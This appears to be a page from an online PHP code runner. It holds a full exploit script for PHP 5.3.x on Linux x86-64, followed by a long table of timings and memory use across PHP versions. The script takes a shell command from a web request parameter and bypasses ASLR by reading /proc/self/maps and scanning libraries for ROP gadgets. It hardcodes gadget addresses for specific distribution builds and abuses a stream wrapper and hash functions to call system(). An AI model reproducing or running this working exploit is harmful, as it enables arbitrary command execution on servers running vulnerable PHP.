Online PHP editor | perf for Xtt4P

@ 2013-08-01T10:07:58Z

<?php
    /*
     * BIPSAIDS.PHP -- by blasty <blasty@fail0verflow.com>  
     * 
     * PHP 5.3.x Linux x86-64 arbitrary code execution
     *
     * based on : MOPS-2010-001 (yes, bugs from 2010 live in <s>2011</s> 2012)
     *
     * NOTES:
     * Most distro's ship with PIE compiled httpd's these days, and everyone
     * seems to favour php5 as module rather than using php-cgi. This puts us
     * in an annoying position for doing Return-oriented-whatever.
     *
     * So the bad news is this exploit only works without restrictions against
     * machines that use php5-cgi and where gadgets have already been identified.
     *
     * However, the good news is if PHP doesn't enforce open_basedir restrictions
     * there's still a fat chance this exploit will succeed by parsing /proc/self/maps
     * to circumvent ASLR and identify gadgets during runtime by scanning libraries.
     *
     */
    error_reporting(E_ALL);
     
    if (!isset($_REQUEST['x']) && !isset($argv[1]))
        die("gimme something to dance for\n");

    $CMD = (isset($_REQUEST['x'])) ? $_REQUEST['x'] : $argv[1];

    function ustruct($fmt, $data) {
        $out = array();
        $pos = 0;
        $upack = array('u16'=>'S','u32'=>'V','u64'=>'V2');
        $sizes = array('u16'=> 2 ,'u32'=> 4 ,'u64'=> 8 );
     
        foreach($fmt as $name => $type) {
            $v = unpack($upack[$type], substr($data, $pos, $sizes[$type]));
            if ($type == 'u64')
                $v = ($v[2] << 32) | $v[1];
            else
                $v = $v[1];
            $out[$name] = $v;
            $pos += $sizes[$type];
        }
        return $out;
    }
    function get_sections($filename) {
        $elf64_header = array(
            'e_ident0'  => 'u64', 'e_ident1'  => 'u64',
            'type'      => 'u16', 'machine'   => 'u16',
            'version'   => 'u32', 'entry'     => 'u64',
            'phoff'     => 'u64', 'shoff'     => 'u64',
            'flags'     => 'u32', 'ehsize'    => 'u16',
            'phentsize' => 'u16', 'phnum'     => 'u16',
            'shentsize' => 'u16', 'shnum'     => 'u16',
            'shstrndx'  => 'u16'
        );

        $elf64_sh = array(
            'name'   => 'u32', 'type'   => 'u32', 
            'flags'  => 'u64', 'addr'   => 'u64',
            'offset' => 'u64', 'size'   => 'u64', 
            'link'   => 'u32', 'info'   => 'u32', 
            'align'  => 'u64', 'entsize'=> 'u64'
        );
        $buf = file_get_contents($filename);
        $hdr = ustruct($elf64_header, substr($buf, 0, 0x40));
        echo "[>>] $filename\n";
        $sections = array();
        for($i = 0; $i < $hdr['shnum']; $i++) {
            $data = substr($buf, $hdr['shoff'] + ($i * $hdr['shentsize']), $hdr['shentsize']);
            $sections[] = ustruct($elf64_sh, $data); 
        }
     
        $str_section = $sections[ $hdr['shstrndx'] ];
        $ret_sections = array();
        for($i = 0; $i < count($sections); $i++) {
            if (!($sections[$i]['flags']&4))
                continue;
            $v = explode("\x00",
                substr($buf, $str_section['offset'] + $sections[$i]['name'])
            );
     
            $sections[$i]['str'] = $v[0];
            $sections[$i]['data'] = substr($buf, $sections[$i]['offset'], $sections[$i]['size']);
            
            $ret_sections[] = $sections[$i];
        }
     
        return $ret_sections;
    }
    function find_gadgets($gg, $data, $base=0) {
        $ret = array();
     
        foreach($gg as $name => $patterns) {
            if (!is_array($patterns))
                $patterns = array($patterns);
            
            foreach($patterns as $pattern) {
                if (($pos = strpos($data, $pattern)) !== false) {
                    $ret[$name] = $base+$pos;
                }
            }
        }
     
        return $ret;
    }
    function w64($v) {
        return pack("V", $v & 0xffffffff) . pack("V", $v >> 32);
    }
    $resolve = true;
     
    if (
        ((isset($_SERVER['ORIG_SCRIPT_NAME']) && strstr($_SERVER['ORIG_SCRIPT_NAME'], "cgi") !== false) ||
        (isset($_SERVER['ORIG_SCRIPT_FILENAME']) && strstr($_SERVER['ORIG_SCRIPT_FILENAME'], "cgi") !== false))
    ) {
        $resolve = false;

        $cgirop = array(
            "5.3.2-1ubuntu4.10" => array(0x42c1b8, 0x42fd31, 0x42c59d, 0x65ca2b, 0x5f0758, 0x53c720, 0xd6a830, 0x096a20),
            "5.3.5-1ubuntu7.3"  => array(0x429d4f, 0x42f3e1, 0x428c26, 0x50b22d, 0x5f0758, 0x6b1730, 0xdae7d0, 0x095260),
            "5.3.3-7+squeeze3"  => array(0x42d478, 0x4310c1, 0x42d85d, 0x648bdb, 0x5dc538, 0x527600, 0xd5b810, 0x084970),
            //"5.3.8" /* ARCH */  => array(0x42544c, 0x4294ba, 0x42460b, 0x428f57, 0x427859, 0x423476,
        );

        $v = phpversion();
        if (!isset($cgirop[$v])) {
            echo "plz2portgadgets: ".$v."\nattempting fallback!\n";
            $resolve = true;
        } else
            $addy = $cgirop[$v];
    }

    if (!isset($addy)) {
        $patterns = array(
            'ADDRSP'  => "\x48\x83\xc4\x28\xc3",
            'POPRAX'  => "\x58\xc3",
            'LEACALL' => array(
                "\x48\x8d\x7c\x24\x10\xff\xd0",
                "\x48\x8d\x7c\x24\x18\xff\xe0"
            ),
            'SYSTEM'  => "\x53\x48\x83\xec\x10\x48\x85\xff\x74\x16"
        );

        $maps = explode("\n",
            file_get_contents("/proc/self/maps")
        );
        $gadgets = array();
        foreach($maps as $map) {
            $map = explode(" ", preg_replace('!\s+!', ' ', $map));
            if (count($map)<2 || !strstr($map[1], "x") || $map[5][0] == '[')
                continue;
            if (count($patterns) == 1 && !strstr($map[5], "libc"))
                continue;
            $exec_sections = get_sections($map[5]);

            $tmp = explode("-", $map[0]);
            $page_offs = hexdec($tmp[0]);

            foreach($exec_sections as $section) {
                $new_gadgets = find_gadgets(
                    $patterns, $section['data'], $section['offset']
                );
                foreach($new_gadgets as $name => $offs) {
                    if (isset($patterns[$name])) {
                        printf("  `- found gadget '%s' in [%s -> %s] @ 0x%x\n", $name, $map[5], $section['str'], $page_offs+$offs);
                        unset($patterns[$name]);
                        $new_gadgets[$name] += $page_offs;
                    }
                }
                if (count($new_gadgets) > 0)
                    $gadgets = array_merge($gadgets, $new_gadgets);
                if (count($patterns) == 0) {
                    echo "!!! ALL GADGETS FOUND, LETS-A-GO !!!\n";
                    break 2;
                }
            }
        }
        $addy = $gadgets;
    }
    if (isset($gadgets)) {
        $ropvar = array('ADDRSP','POPRAX','LEACALL','SYSTEM');
        for($i = 0; $i < count($ropvar); $i++) {
            printf("setting %s to 0x%x\n", $ropvar[$i], $addy[ $ropvar[$i] ]);
            $$ropvar[$i] = w64($addy[ $ropvar[$i] ]);
        }
    } else {
        $ropvar = array('ADDRSP','POPRAX','POPRDI','DEREFRAX','SUBRDIRAX','LEACALL','GOTENTRY','LIBCDELTA');
     
        for($i = 0; $i < count($ropvar); $i++) {
            printf("setting %s to 0x%x\n", $ropvar[$i], $addy[ $i ]);
            $$ropvar[$i] = w64($addy[ $i ]);
        }
    }
     
    if (!isset($addy) || count($addy) != count($ropvar))
        die("looks like this tech isn't compatible with your box.\n");
     
    class evil_stream {
        function stream_open($a, $b, $c, &$e) { return 1; }
        function stream_eof() { return 0; }
        function stream_seek($offset, $whence) { return 0; }
        function stream_read($count) {
            global $ADDRSP, $POPRAX, $GOTENTRY, $DEREFRAX, $POPRDI, $LIBCDELTA, $SUBRDIRAX, $LEACALL, $CMD, $SYSTEM;
     
            hash_final($GLOBALS['hid'], false);
            $GLOBALS['a'] = str_repeat($ADDRSP, 3); // add 40, rsp
     
            if (isset($SYSTEM) && !empty($SYSTEM))    
                return
                    $POPRAX . $SYSTEM . 
                    $LEACALL .
                    str_repeat("Z", 0x58) .
                    "WOOP ; " . $CMD . "\x00";
            else
                return
                    $POPRAX . $GOTENTRY . $DEREFRAX . 
                    $POPRDI . $LIBCDELTA . 
                    $SUBRDIRAX . 
                    $LEACALL .
                    str_repeat("Z", 0x58) .
                    "WOOP ; " . $CMD . " ; echo lol\x00";
        }
    }
     
    stream_wrapper_register("evil", "evil_stream") || die("oh snap :(\n");
    $hid = hash_init('md5');
    hash_update_file($hid, "evil://code");
    echo "you goofed up\n";
    ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

Version	System time (s)	User time (s)	Memory (MiB)
7.2.12	0.009	0.008	16.54
7.2.11	0.010	0.005	16.71
7.2.10	0.012	0.003	16.39
7.2.9	0.010	0.004	16.62
7.2.8	0.009	0.005	16.48
7.2.7	0.010	0.008	16.86
7.2.6	0.008	0.007	16.90
7.2.5	0.010	0.006	16.74
7.2.4	0.008	0.009	16.74
7.2.3	0.007	0.010	16.72
7.2.2	0.010	0.007	16.83
7.2.1	0.010	0.005	16.78
7.2.0	0.008	0.008	16.72
7.1.24	0.006	0.010	15.43
7.1.23	0.008	0.008	15.74
7.1.22	0.005	0.009	15.64
7.1.21	0.011	0.003	15.60
7.1.20	0.008	0.006	15.48
7.1.19	0.006	0.010	15.52
7.1.18	0.010	0.004	15.54
7.1.17	0.006	0.008	15.52
7.1.16	0.006	0.007	15.48
7.1.15	0.008	0.007	15.60
7.1.14	0.007	0.007	15.71
7.1.13	0.008	0.007	15.83
7.1.12	0.008	0.005	15.51
7.1.11	0.010	0.006	15.45
7.1.10	0.006	0.009	15.56
7.1.9	0.006	0.010	15.46
7.1.8	0.004	0.009	15.63
7.1.7	0.007	0.007	16.04
7.1.6	0.007	0.006	16.02
7.1.5	0.005	0.008	16.11
7.1.4	0.003	0.011	15.45
7.1.3	0.011	0.006	15.42
7.1.2	0.007	0.008	15.49
7.1.1	0.010	0.005	15.70
7.1.0	0.005	0.031	17.83
7.0.32	0.006	0.009	15.24
7.0.31	0.017	0.007	15.31
7.0.30	0.010	0.011	15.51
7.0.29	0.013	0.008	15.22
7.0.28	0.016	0.004	15.42
7.0.27	0.013	0.007	15.38
7.0.26	0.009	0.011	15.27
7.0.25	0.017	0.003	15.32
7.0.24	0.017	0.004	15.34
7.0.23	0.010	0.010	15.18
7.0.22	0.004	0.017	15.39
7.0.21	0.016	0.006	15.19
7.0.20	0.010	0.009	15.73
7.0.19	0.008	0.014	15.40
7.0.18	0.035	0.005	15.31
7.0.17	0.013	0.006	15.39
7.0.16	0.016	0.004	15.24
7.0.15	0.009	0.011	15.33
7.0.14	0.010	0.030	17.51
7.0.13	0.017	0.002	15.41
7.0.12	0.015	0.004	15.25
7.0.11	0.007	0.013	15.32
7.0.10	0.010	0.022	16.92
7.0.9	0.017	0.013	16.83
7.0.8	0.006	0.020	16.88
7.0.7	0.012	0.021	16.93
7.0.6	0.014	0.017	16.95
7.0.5	0.017	0.025	16.90
7.0.4	0.011	0.020	16.94
7.0.3	0.013	0.031	16.98
7.0.2	0.009	0.036	16.86
7.0.1	0.015	0.033	16.98
7.0.0	0.012	0.027	16.98
5.6.38	0.013	0.003	14.14
5.6.37	0.016	0.005	14.36
5.6.36	0.017	0.004	14.46
5.6.35	0.013	0.009	14.44
5.6.34	0.016	0.007	14.38
5.6.33	0.014	0.006	14.31
5.6.32	0.014	0.007	14.70
5.6.31	0.017	0.005	14.47
5.6.30	0.015	0.006	14.55
5.6.29	0.007	0.015	14.29
5.6.28	0.012	0.029	16.70
5.6.27	0.009	0.012	14.47
5.6.26	0.009	0.013	14.46
5.6.25	0.009	0.020	16.53
5.6.24	0.010	0.021	16.50
5.6.23	0.010	0.019	16.52
5.6.22	0.010	0.027	16.52
5.6.21	0.008	0.021	16.52
5.6.20	0.009	0.034	16.64
5.6.19	0.018	0.018	16.61
5.6.18	0.014	0.028	16.61
5.6.17	0.009	0.035	16.58
5.6.16	0.013	0.026	16.57
5.6.15	0.014	0.028	16.71
5.6.14	0.012	0.034	16.70
5.6.13	0.012	0.032	16.73
5.6.12	0.005	0.040	16.58
5.6.11	0.007	0.037	16.60
5.6.10	0.011	0.022	16.55
5.6.9	0.009	0.035	16.50
5.6.8	0.012	0.029	16.39
5.6.7	0.008	0.037	16.34
5.6.6	0.009	0.035	16.29
5.6.5	0.015	0.027	16.19
5.6.4	0.013	0.029	16.24
5.6.3	0.010	0.031	16.51
5.6.2	0.007	0.037	16.30
5.6.1	0.013	0.026	16.21
5.6.0	0.011	0.032	16.29
5.5.38	0.011	0.015	14.13
5.5.37	0.007	0.020	14.37
5.5.36	0.011	0.015	14.20
5.5.35	0.008	0.022	14.15
5.5.34	0.011	0.030	14.48
5.5.33	0.009	0.026	14.47
5.5.32	0.009	0.032	14.38
5.5.31	0.010	0.029	14.31
5.5.30	0.009	0.029	14.28
5.5.29	0.008	0.029	14.19
5.5.28	0.010	0.021	14.45
5.5.27	0.010	0.026	14.50
5.5.26	0.009	0.031	14.38
5.5.25	0.008	0.029	14.30
5.5.24	0.005	0.033	14.12
5.5.23	0.013	0.031	14.08
5.5.22	0.014	0.025	14.13
5.5.21	0.011	0.027	14.24
5.5.20	0.014	0.024	14.24
5.5.19	0.011	0.028	14.16
5.5.18	0.009	0.029	14.04
5.5.17	0.017	0.005	14.29
5.5.16	0.010	0.027	14.26
5.5.15	0.010	0.030	14.08
5.5.14	0.005	0.033	14.03
5.5.13	0.008	0.030	14.17
5.5.12	0.009	0.029	14.21
5.5.11	0.016	0.018	13.98
5.5.10	0.008	0.031	14.18
5.5.9	0.010	0.029	13.99
5.5.8	0.013	0.019	14.15
5.5.7	0.008	0.019	14.06
5.5.6	0.013	0.017	14.16
5.5.5	0.010	0.028	14.03
5.5.4	0.010	0.029	14.20
5.5.3	0.008	0.034	13.97
5.5.2	0.009	0.031	14.22
5.5.1	0.012	0.023	14.09
5.5.0	0.006	0.028	14.05
5.4.45	0.007	0.032	13.81
5.4.44	0.012	0.027	13.81
5.4.43	0.010	0.024	13.93
5.4.42	0.012	0.028	13.73
5.4.41	0.007	0.030	13.74
5.4.40	0.011	0.025	13.68
5.4.39	0.009	0.031	13.65
5.4.38	0.008	0.030	13.75
5.4.37	0.006	0.030	13.75
5.4.36	0.008	0.032	13.59
5.4.35	0.007	0.026	13.78
5.4.34	0.010	0.027	13.55
5.4.33	0.009	0.008	11.00
5.4.32	0.010	0.029	13.67
5.4.31	0.003	0.033	13.75
5.4.30	0.009	0.027	13.74
5.4.29	0.010	0.030	13.70
5.4.28	0.010	0.028	13.73
5.4.27	0.012	0.026	13.61
5.4.26	0.011	0.026	13.66
5.4.25	0.007	0.029	13.78
5.4.24	0.007	0.026	13.71
5.4.23	0.013	0.022	13.67
5.4.22	0.012	0.026	13.64
5.4.21	0.011	0.027	13.66
5.4.20	0.008	0.028	13.60
5.4.19	0.009	0.026	13.77
5.4.18	0.006	0.031	13.72
5.4.17	0.011	0.017	13.72
5.4.16	0.007	0.027	13.52
5.4.15	0.011	0.027	13.71
5.4.14	0.004	0.026	12.81
5.4.13	0.014	0.022	12.83
5.4.12	0.005	0.032	12.89
5.4.11	0.009	0.030	13.05
5.4.10	0.008	0.030	12.85
5.4.9	0.009	0.017	12.81
5.4.8	0.010	0.016	12.89
5.4.7	0.007	0.028	12.88
5.4.6	0.010	0.027	12.84
5.4.5	0.008	0.031	12.65
5.4.4	0.012	0.024	12.78
5.4.3	0.008	0.031	12.85
5.4.2	0.008	0.028	12.89
5.4.1	0.013	0.022	12.90
5.4.0	0.010	0.029	12.65
5.3.29	0.012	0.019	12.08
5.3.28	0.007	0.030	11.94
5.3.27	0.012	0.026	11.94
5.3.26	0.014	0.019	11.86
5.3.25	0.007	0.030	11.98
5.3.24	0.011	0.028	11.91
5.3.23	0.007	0.029	11.95
5.3.22	0.009	0.027	11.86
5.3.21	0.008	0.029	11.87
5.3.20	0.007	0.030	11.96
5.3.19	0.010	0.018	11.98
5.3.18	0.007	0.017	11.97
5.3.17	0.009	0.026	12.04
5.3.16	0.003	0.030	12.06
5.3.15	0.010	0.019	11.93
5.3.14	0.008	0.028	11.95
5.3.13	0.008	0.025	12.01
5.3.12	0.009	0.019	11.98
5.3.11	0.009	0.017	11.99
5.3.10	0.007	0.020	11.79
5.3.9	0.009	0.027	11.77
5.3.8	0.008	0.021	11.72
5.3.7	0.010	0.026	11.64
5.3.6	0.009	0.026	11.82
5.3.5	0.007	0.023	11.69
5.3.4	0.009	0.031	11.71
5.3.3	0.006	0.035	11.72
5.3.2	0.005	0.030	11.70
5.3.1	0.007	0.028	11.45
5.3.0	0.009	0.030	11.48
5.2.17	0.006	0.006	9.48
5.2.16	0.009	0.004	9.50
5.2.15	0.002	0.009	9.45
5.2.14	0.008	0.005	9.35
5.2.13	0.004	0.007	9.58
5.2.12	0.009	0.002	9.62
5.2.11	0.005	0.006	9.48
5.2.10	0.006	0.005	9.48
5.2.9	0.008	0.004	9.61
5.2.8	0.008	0.004	9.37
5.2.7	0.002	0.010	9.55
5.2.6	0.005	0.006	9.26
5.2.5	0.007	0.004	9.39
5.2.4	0.005	0.008	9.52
5.2.3	0.007	0.006	9.47
5.2.2	0.004	0.008	9.32
5.2.1	0.006	0.007	9.31
5.2.0	0.010	0.003	9.19
5.1.6	0.008	0.002	9.01
5.1.5	0.010	0.000	9.01
5.1.4	0.009	0.001	9.01
5.1.3	0.007	0.004	9.01
5.1.2	0.009	0.002	9.01
5.1.1	0.002	0.009	9.01
5.1.0	0.003	0.006	9.01
5.0.5	0.005	0.005	9.01
5.0.4	0.009	0.000	9.01
5.0.3	0.005	0.004	9.01
5.0.2	0.002	0.008	9.01
5.0.1	0.004	0.004	9.01
5.0.0	0.003	0.004	9.01
4.4.9	0.002	0.005	9.01
4.4.8	0.002	0.006	9.01
4.4.7	0.002	0.006	9.01
4.4.6	0.003	0.005	9.01
4.4.5	0.004	0.003	9.01
4.4.4	0.005	0.002	9.01
4.4.3	0.006	0.002	9.01
4.4.2	0.005	0.003	9.01
4.4.1	0.006	0.002	9.01
4.4.0	0.006	0.001	9.01
4.3.11	0.003	0.003	9.01
4.3.10	0.007	0.001	9.01
4.3.9	0.004	0.003	9.01
4.3.8	0.003	0.004	9.01
4.3.7	0.004	0.003	9.01
4.3.6	0.003	0.004	9.01
4.3.5	0.003	0.004	9.01
4.3.4	0.000	0.008	9.01
4.3.3	0.005	0.002	9.01
4.3.2	0.004	0.002	9.01
4.3.1	0.002	0.004	9.01
4.3.0	0.002	0.005	9.01

preferences:dark modelive preview